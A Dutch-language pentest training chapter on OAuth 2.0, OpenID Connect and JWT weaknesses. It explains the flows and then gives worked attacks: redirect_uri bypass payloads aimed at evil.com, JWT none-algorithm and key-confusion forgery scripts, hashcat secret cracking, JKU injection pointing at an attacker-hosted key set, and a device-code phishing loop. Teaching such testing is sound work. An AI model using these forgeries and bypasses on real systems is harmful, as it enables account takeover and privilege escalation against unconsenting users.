CertifiedHacker

OAuth, OIDC en JWT Kwetsbaarheden

Uitgebreid hoofdstuk over OAuth 2.0 flows, OpenID Connect, JWT aanvallen (none algorithm, key confusion, brute force), redirect_uri bypass en PKCE.

OAuth, OIDC en JWT Kwetsbaarheden

Het delegatieprobleem

Ergens rond 2007, in de gouden jaren van Web 2.0 — toen elke startup een mashup was en het woord “social graph” op elke PowerPoint-slide stond — liepen ontwikkelaars tegen een probleem aan dat zo fundamenteel was dat het verbazingwekkend is dat niemand het eerder had opgelost. Het probleem was delegatie. Niet de managementvariant waarbij je werk over de schutting gooit en hoopt dat iemand het opvangt. Nee, de technische variant: hoe geef je een applicatie toegang tot je gegevens bij een andere applicatie, zonder je wachtwoord te delen?

Stel je voor: je hebt een fotobewerking-app die je Google Photos wil lezen. De naïeve oplossing is je Google-wachtwoord aan de fotobewerking-app geven. Dat is als je huissleutel aan de loodgieter geven en hopen dat hij alleen de badkamer bezoekt. Hij zou kunnen. Maar hij hoeft niet.

OAuth loste dit op met een ingenieus systeem van tokens en scopes. In plaats van je wachtwoord te delen, geef je een token met beperkte rechten. De loodgieter krijgt een sleutel die alleen de badkamerdeur opent. Elegant. Maar — en hier wordt het interessant — de implementatie van die elegantie bleek een slagveld van misconfiguraties, kwetsbaarheden en aannames die niet klopten.


OAuth 2.0 in vijf minuten

Laten we beginnen met de basis, want je kunt niet aanvallen wat je niet begrijpt. OAuth 2.0 definieert vier rollen:

  • Resource Owner — jij, de gebruiker met de data.
  • Client — de applicatie die je data wil. De fotobewerking-app.
  • Authorization Server — de server die toestemming verleent. Google’s login-pagina.
  • Resource Server — de server met je data. Google Photos API.

En het definieert meerdere “flows” — manieren om een token te verkrijgen. De twee die je het vaakst tegenkomt:

Authorization Code Flow

De veiligste flow, bedoeld voor server-side applicaties. Het werkt als volgt:

1. Client stuurt gebruiker naar Authorization Server:
   GET https://auth.target.com/authorize
     ?response_type=code
     &client_id=foto-app-123
     &redirect_uri=https://foto-app.com/callback
     &scope=photos.read
     &state=abc123random

2. Gebruiker logt in en geeft toestemming

3. Authorization Server redirect terug naar de client:
   GET https://foto-app.com/callback
     ?code=AUTH_CODE_HIER
     &state=abc123random

4. Client wisselt de code in voor een token (server-to-server):
   POST https://auth.target.com/token
   Content-Type: application/x-www-form-urlencoded

   grant_type=authorization_code
   &code=AUTH_CODE_HIER
   &client_id=foto-app-123
   &client_secret=GEHEIM
   &redirect_uri=https://foto-app.com/callback

5. Authorization Server retourneert het access token:
   {"access_token": "eyJhbG...", "token_type": "Bearer", "expires_in": 3600}

Merk op dat de authorization code via de browser van de gebruiker reist (stap 3), maar het access token niet. Het token wordt server-to-server uitgewisseld (stap 4). Dit is bewust: de browser is een vijandige omgeving. Alles dat door de browser gaat, kan worden onderschept — door malware, door browser-extensies, door open WiFi-netwerken, door een collega die over je schouder meekijkt terwijl je net DevTools open hebt staan.

Implicit Flow (en waarom het afgeschaft is)

De Implicit Flow was bedoeld voor JavaScript-applicaties die geen backend hebben. In plaats van een authorization code te ontvangen, krijgt de browser direct het access token:

GET https://auth.target.com/authorize
  ?response_type=token          <-- token in plaats van code
  &client_id=spa-app-456
  &redirect_uri=https://spa-app.com/callback
  &scope=profile

# Redirect:
https://spa-app.com/callback#access_token=eyJhbG...&token_type=Bearer

Zie je het probleem? Het token zit in de URL fragment (#access_token=...). Het wordt niet naar de server gestuurd (fragments gaan niet mee in HTTP-requests), maar het is wél zichtbaar in de browser history, en het kan lekken via de Referer header als de callback-pagina externe resources laadt. In 2023 heeft de OAuth Working Group de Implicit Flow officieel afgeraden. In de praktijk kom je hem nog dagelijks tegen.

PKCE: de oplossing voor publieke clients

PKCE (Proof Key for Code Exchange, uitgesproken als “pixie”) is de moderne oplossing voor JavaScript-applicaties. Het voegt een challenge-response mechanisme toe aan de Authorization Code Flow:

# Genereer een random code_verifier (43-128 tekens)
code_verifier=$(openssl rand -base64 32 | tr -d '=+/' | head -c 43)

# Bereken de code_challenge (SHA256 hash)
code_challenge=$(echo -n $code_verifier | openssl dgst -sha256 -binary | base64 | tr -d '=' | tr '+/' '-_')

# Stap 1: Authorization request met challenge
# ...&code_challenge=$code_challenge&code_challenge_method=S256

# Stap 4: Token request met verifier
# ...&code_verifier=$code_verifier

# De server controleert: SHA256(code_verifier) == code_challenge
# Als een aanvaller de authorization code onderschept,
# kan hij er niets mee zonder de code_verifier

Het is alsof je de loodgieter niet alleen een sleutel geeft, maar ook een code die bij de sleutel hoort. Zelfs als iemand de sleutel kopieert, heeft hij zonder de code niets.


OAuth aanvallen

redirect_uri manipulatie

De redirect_uri is het adres waarnaar de authorization server de gebruiker terugstuurt met de code of het token. Als een aanvaller deze URI kan manipuleren, vangt hij de code op en kan hij die inwisselen voor een token.

De verdediging is eenvoudig: de authorization server moet de redirect_uri exact matchen met een vooraf geregistreerd adres. In de praktijk zijn er talloze manieren waarop die matching faalt:

# Exacte URI bypass pogingen
# Geregistreerd: https://app.target.com/callback

# Subdomain takeover
?redirect_uri=https://evil.app.target.com/callback

# Path traversal
?redirect_uri=https://app.target.com/callback/../../../evil.com

# Open redirect chaining
?redirect_uri=https://app.target.com/redirect?url=https://evil.com

# Unicode normalisatie
?redirect_uri=https://app.target.com/ca%6c%6cback

# @ trucje (userinfo in URL)
?redirect_uri=https://app.target.com@evil.com/callback

# Fragment override
?redirect_uri=https://app.target.com/callback%23@evil.com

# Dubbele URL encoding
?redirect_uri=https://app.target.com%252f%252fevil.com

# Wildcard matching misbruik (als de server *.target.com toestaat)
?redirect_uri=https://xss-in-comments.target.com/page-with-xss

Die laatste is bijzonder gevaarlijk. Als de authorization server wildcard-matching op subdomeinen toestaat, en je vindt een XSS ergens op een subdomein van target.com, kun je de authorization code stelen via die XSS. Het is een ketenaanval: XSS + OAuth misconfiguratie = account takeover.

CSRF via ontbrekende state parameter

De state parameter in OAuth is het equivalent van een CSRF-token. Als de state ontbreekt of niet gevalideerd wordt, kan een aanvaller het volgende doen:

  1. Aanvaller start een OAuth-flow met zijn eigen account
  2. Aanvaller onderschept de callback URL (met de authorization code)
  3. Aanvaller stuurt het slachtoffer naar die callback URL
  4. De applicatie koppelt de aanvallers OAuth-account aan het slachtoffer’s account

Het resultaat: de aanvaller kan inloggen op het slachtoffer’s account via “Login met Google/Facebook/GitHub.”

# Test: verwijder de state parameter uit de authorize URL
# Werkt de flow nog? Dan is er geen CSRF-bescherming.

# Test: vervang de state door een andere waarde
# Accepteert de callback een state die niet overeenkomt met de sessie?

# Test: hergebruik een state van een eerdere flow
# Wordt dezelfde state twee keer geaccepteerd?

Scope escalation

# Origineel: beperkte scope
?scope=profile

# Escalatie pogingen:
?scope=profile email admin
?scope=profile+admin
?scope=*
?scope=profile%20admin%20write:users

JWT: het token dat je kunt lezen

JSON Web Tokens zijn de standaard manier om claims (beweringen over een gebruiker) te transporteren tussen systemen. Een JWT ziet er onleesbaar uit — drie Base64-gecodeerde blokken gescheiden door punten — maar het is eigenlijk volledig transparant. Iedereen kan een JWT decoderen en de inhoud lezen. De integriteit wordt beschermd door een handtekening; de vertrouwelijkheid niet.

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.     <-- Header
eyJ1c2VyIjoiam9obiIsInJvbGUiOiJ1c2VyIn0.   <-- Payload
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c <-- Signature
# Decoderen
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d
# {"alg":"HS256","typ":"JWT"}

echo "eyJ1c2VyIjoiam9obiIsInJvbGUiOiJ1c2VyIn0" | base64 -d
# {"user":"john","role":"user"}

# jwt_tool: alles-in-één JWT analyse
python3 jwt_tool.py $TOKEN

De “none” algorithm aanval

Dit is de klassieke JWT-aanval, en het feit dat hij in 2026 nog steeds werkt bij sommige applicaties is een bron van zowel vreugde (voor pentesters) als wanhoop (voor iedereen die om beveiliging geeft).

Het idee is simpel: verander het algorithm in de header naar "none" en verwijder de signature. Als de server het algorithm uit de token leest in plaats van het af te dwingen, accepteert hij een ongesigneerd token.

# Handmatig
# Origineel: {"alg":"HS256","typ":"JWT"}
# Wijzig naar: {"alg":"none","typ":"JWT"}
echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '+/' '-_'
# eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0

# Payload: wijzig role naar admin
echo -n '{"user":"john","role":"admin"}' | base64 | tr -d '=' | tr '+/' '-_'
# eyJ1c2VyIjoiam9obiIsInJvbGUiOiJhZG1pbiJ9

# Token: header.payload. (let op de punt aan het eind, geen signature)
# eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiam9obiIsInJvbGUiOiJhZG1pbiJ9.

# jwt_tool doet dit automatisch
python3 jwt_tool.py $TOKEN -X a

# Variaties die jwt_tool probeert:
# alg: "none", "None", "NONE", "nOnE", "NonE"
# Met en zonder trailing punt

HS256 weak secret brute force

Als het JWT is gesigneerd met HS256 (HMAC-SHA256), dan is de veiligheid volledig afhankelijk van de sterkte van het gedeelde geheim. Als dat geheim “secret”, “password”, of “your-256-bit-secret” is (de standaardwaarde op jwt.io — die vaker in productie voorkomt dan je zou willen weten), dan is het game over.

# hashcat: GPU-accelerated JWT cracking
# Mode 16500 = JWT
echo "$TOKEN" > jwt.txt
hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt

# Als je het secret hebt, forge een nieuw token:
python3 jwt_tool.py $TOKEN -T \
  -S hs256 \
  -p "gevonden_secret" \
  -pc role -pv admin \
  -pc user -pv administrator

# Andere veelvoorkomende secrets om te proberen:
# secret, password, 123456, changeme
# jwt-secret, token-secret, api-secret
# De naam van de applicatie, het domein
# UUID's die in de broncode staan

Algorithm Confusion: RS256 naar HS256

Dit is de meest elegante JWT-aanval. De server is geconfigureerd voor RS256 (asymmetrisch: private key signeert, public key verifieert). De aanvaller verandert het algorithm naar HS256 (symmetrisch: één gedeeld geheim voor signing en verificatie). De server leest het algorithm uit de token, schakelt over naar HS256, en gebruikt de publieke sleutel als HMAC-secret. Aangezien de publieke sleutel publiek is, kan de aanvaller het token zelf signeren.

# Stap 1: Verkrijg de publieke sleutel
# Vaak beschikbaar op:
curl -s https://target.com/.well-known/jwks.json
curl -s https://target.com/oauth/certs
# Of uit het TLS-certificaat:
openssl s_client -connect target.com:443 | openssl x509 -pubkey -noout > pub.pem

# Stap 2: jwt_tool key confusion
python3 jwt_tool.py $TOKEN -X k -pk pub.pem

# Stap 3: Handmatig met Python
import jwt
import json

# Lees publieke sleutel
with open('pub.pem', 'r') as f:
    pub_key = f.read()

# Forge token met HS256 en publieke sleutel als secret
payload = {"user": "john", "role": "admin"}
token = jwt.encode(payload, pub_key, algorithm="HS256")
print(token)

Waarom werkt dit? Omdat veel JWT-bibliotheken een functie hebben als jwt.verify(token, key) die het algorithm uit de token header leest. Als de header zegt “HS256”, gebruikt de bibliotheek de key parameter als HMAC-secret — ook als die key eigenlijk een RSA public key is. Moderne bibliotheken dwingen het algorithm af, maar oudere versies (en slechte configuratie) zijn kwetsbaar.

JKU en JWK Header Injection

De jku (JWK Set URL) en jwk (JSON Web Key) headers in een JWT vertellen de server waar de publieke sleutel te vinden is, of bevatten de sleutel zelf. Als de server deze headers vertrouwt zonder validatie, kan een aanvaller zijn eigen sleutel injecteren.

# Stap 1: Genereer een eigen RSA keypair
openssl genrsa -out attacker.pem 2048
openssl rsa -in attacker.pem -pubout -out attacker_pub.pem

# Stap 2: Maak een JWKS bestand
python3 -c "
from jwcrypto import jwk
import json
with open('attacker_pub.pem') as f:
    key = jwk.JWK.from_pem(f.read().encode())
print(json.dumps({'keys': [json.loads(key.export())]}))
" > jwks.json

# Stap 3: Host het op je server
python3 -m http.server 8080 &

# Stap 4: Maak een JWT met jku die naar jouw server wijst
python3 jwt_tool.py $TOKEN -X s -ju "http://attacker.com:8080/jwks.json" -pr attacker.pem

OpenID Connect (OIDC)

OpenID Connect is een identiteitslaag bovenop OAuth 2.0. Terwijl OAuth 2.0 alleen gaat over autorisatie (wat mag je doen?), voegt OIDC authenticatie toe (wie ben je?). Het belangrijkste verschil: OIDC introduceert het ID Token — een JWT dat claims bevat over de identiteit van de gebruiker.

// ID Token payload (na decodering)
{
  "iss": "https://auth.target.com",
  "sub": "user-uuid-123",
  "aud": "client-app-456",
  "exp": 1700000000,
  "iat": 1699996400,
  "nonce": "abc123",
  "email": "jan@target.com",
  "name": "Jan de Vries",
  "email_verified": true
}

OIDC-specifieke aanvallen

# 1. Nonce replay: hergebruik een ID token van een eerdere sessie
# Test: wordt de nonce gevalideerd? Zo niet: session fixation.

# 2. Audience confusion: gebruik een ID token van app A bij app B
# Als app B de 'aud' claim niet controleert, accepteert het tokens
# die voor andere applicaties bedoeld zijn.

# 3. Issuer validation: accepteert de app tokens van andere issuers?
# Wijzig de 'iss' claim en signeer met je eigen key.

# 4. Discovery endpoint
curl -s https://target.com/.well-known/openid-configuration | python3 -m json.tool
# Dit onthult alle endpoints, ondersteunde flows, en signing keys.

Praktische JWT Pentesting Workflow

Stap 1: Token verzamelen en analyseren

# Verzamel tokens uit:
# - Authorization header: Bearer eyJ...
# - Cookies: session=eyJ...
# - URL parameters: ?token=eyJ...
# - Local storage: localStorage.getItem('auth_token')
# - Response body na login

# Analyseer met jwt_tool
python3 jwt_tool.py $TOKEN

# Check: welk algorithm? HS256, RS256, ES256?
# Check: welke claims? user, role, admin, exp?
# Check: is er een kid (key ID) header?

Stap 2: Alle aanvallen uitvoeren

# jwt_tool All Tests mode
python3 jwt_tool.py $TOKEN -M at -t "https://target.com/api/me" -rh "Authorization: Bearer"

# Dit probeert automatisch:
# - None algorithm
# - Algorithm confusion
# - Null signature
# - Token expiry bypass
# - Claim tampering

Stap 3: Manual claim tampering

# Als je het signing secret/key hebt:
python3 jwt_tool.py $TOKEN -T -S hs256 -p "secret" \
  -pc role -pv admin \
  -pc user_id -pv 1

# Test het geforged token:
curl -H "Authorization: Bearer $FORGED_TOKEN" https://target.com/api/admin/dashboard

JWT / OAuth Pentest Checklist

TestHoeImpact
None algorithmjwt_tool -X aToken forgery, admin access
Weak HS256 secrethashcat -m 16500Token forgery
RS256→HS256 confusionjwt_tool -X kToken forgery
JKU injectionjwt_tool -X sToken forgery
Token expiryGebruik verlopen tokenSessie persistentie
Token na logoutHergebruik token na logoutSessie persistentie
Claim tamperingWijzig role/admin claimsPrivilege escalation
redirect_uri bypassManipuleer redirect URLToken theft
State CSRFVerwijder/hergebruik stateAccount linking
Scope escalationVraag extra scopes aanMeer rechten
PKCE ontbreektCheck code_challengeCode interceptie
Implicit flowToken in URL fragment?Token leakage

Geavanceerde OAuth-aanvallen

Token leakage via browser mechanismen

OAuth tokens lekken op verrassend veel manieren via de browser. De Referer header stuurt de callback URL (met code of token) mee naar externe resources. Browser history slaat de URL op. En open redirect chaining kan de authorization code doorsturen naar een aanvaller.

# Open redirect chaining
# Stap 1: Vind een open redirect: https://app.com/redirect?url=https://evil.com
# Stap 2: Gebruik als redirect_uri:
/authorize?redirect_uri=https://app.com/redirect?url=https://evil.com
# De code wordt doorgestuurd naar evil.com

# PostMessage leakage
# Als de callback-pagina postMessage gebruikt met targetOrigin "*":
window.parent.postMessage({token: access_token}, "*")
# Elk domein kan het token ontvangen als het de pagina in een iframe laadt

Device Authorization Flow misbruik

De Device Flow is bedoeld voor apparaten zonder browser. Een aanvaller kan een device code genereren, het slachtoffer overtuigen om die te autoriseren via phishing, en vervolgens het access token ophalen.

# Stap 1: Start device authorization
curl -X POST https://auth.target.com/device/code -d "client_id=tv-app&scope=profile"
# Response: {"device_code":"xxx","user_code":"ABCD-1234","verification_uri":"https://auth.target.com/device"}

# Stap 2: Phishing: "Verifieer je apparaat op https://auth.target.com/device met code ABCD-1234"

# Stap 3: Poll voor het token (elke 5 seconden)
while true; do
  resp=$(curl -s -X POST https://auth.target.com/token \
    -d "grant_type=urn:ietf:params:oauth:grant-type:device_code&device_code=xxx&client_id=tv-app")
  echo "$resp" | grep -q "access_token" && break
  sleep 5
done

Bonus: SAML-aanvallen

SAML is XML-based SSO voor enterprise-omgevingen. Aanvalsvectoren: Signature Wrapping (manipuleer XML-structuur om een andere assertion in te sluizen), SAML Replay (onderschepte response opnieuw sturen), XXE via de XML-parser, en assertion manipulation. Tools: SAMLRaider (Burp), saml-decoder.

Op de hoogte blijven?

Ontvang nieuwe hoofdstukken en updates per e-mail.